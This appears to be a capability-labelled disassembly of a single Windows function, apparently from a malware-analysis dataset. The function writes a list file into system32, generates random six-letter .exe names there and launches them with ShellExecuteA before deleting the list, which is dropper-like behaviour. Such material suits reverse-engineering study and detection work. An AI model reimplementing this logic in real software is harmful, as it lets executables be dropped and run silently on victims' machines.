Function at 0x10004a30
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x1000fc46
push eax
mov eax, 0x922c
mov dword fs:[0], esp
call fcn.100063a0
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x1e4]
call fcn.10001000
xor ebx, ebx
push str.C:WINDOWSSYSTEM32_syslog.txt
push str.FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
lea ecx, [esp + 0x1ec]
mov dword [esp + 0x924c], ebx
call fcn.10002720
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.C:WINDOWSSYSTEM32_syslog.txt
call fcn.100049a0
add esp, 4
cmp al, 1
jne 0x10004cd4
mov ax, word [0x10012664]
mov ecx, 0xa
mov word [esp + 0x28], ax
xor eax, eax
lea edi, [esp + 0x2a]
mov byte [esp + 0x54], bl
rep stosd dword es:[edi], eax
mov ecx, 0xa
lea edi, [esp + 0x55]
rep stosd dword es:[edi], eax
xor ecx, ecx
mov byte [esp + 0xe4], bl
mov dword [esp + 0x11], ecx
lea edx, [esp + 0x54]
mov dword [esp + 0x15], ecx
push 0x2a
mov dword [esp + 0x1d], ecx
push edx
mov dword [esp + 0x25], ecx
mov byte [esp + 0x18], bl
mov dword [esp + 0x29], ecx
mov word [esp + 0x2d], cx
stosb byte es:[edi], al
mov byte [esp + 0x2f], cl
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0xed]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str._system32_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x54]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x4a10]
call fcn.10001000
push 0x10012444
push str.C:WINDOWSSYSTEM32_syslog.txt
mov byte [esp + 0x924c], 1
call fcn.10005dc1
mov ebp, eax
add esp, 8
cmp ebp, ebx
je 0x10004cc1
push ebp
lea eax, [esp + 0x84]
push 0x64
push eax
call fcn.10006330
add esp, 0xc
test eax, eax
je 0x10004cad
xor esi, esi
push 0x18
call fcn.100049e0
mov cl, byte [eax + str.abcdefghijklmnopqrstuvwxyz]
add esp, 4
mov byte [esp + esi + 0x10], cl
inc esi
cmp esi, 6
jl 0x10004b8a
xor eax, eax
mov cl, byte [esp + eax + 0x80]
cmp cl, 0xa
je 0x10004bbc
mov byte [esp + eax + 0xe4], cl
inc eax
jmp 0x10004ba6
or ecx, 0xffffffff
mov edi, str..exe
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x28]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x28]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xe8]
push ecx
lea ecx, [esp + 0x4a18]
call fcn.10002720
lea edx, [esp + 0x28]
push edx
call fcn.100049a0
add esp, 4
cmp al, 1
jne 0x10004c79
push 1
push ebx
lea eax, [esp + 0x30]
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0xe4]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
jmp 0x10004b6d
push ebp
call fcn.10005bda
add esp, 4
push str.C:WINDOWSSYSTEM32_syslog.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x4a10]
mov byte [esp + 0x9244], bl
call fcn.100020e0
lea ecx, [esp + 0x1e4]
mov dword [esp + 0x9244], 0xffffffff
call fcn.100020e0
mov ecx, dword [esp + 0x923c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x9238
ret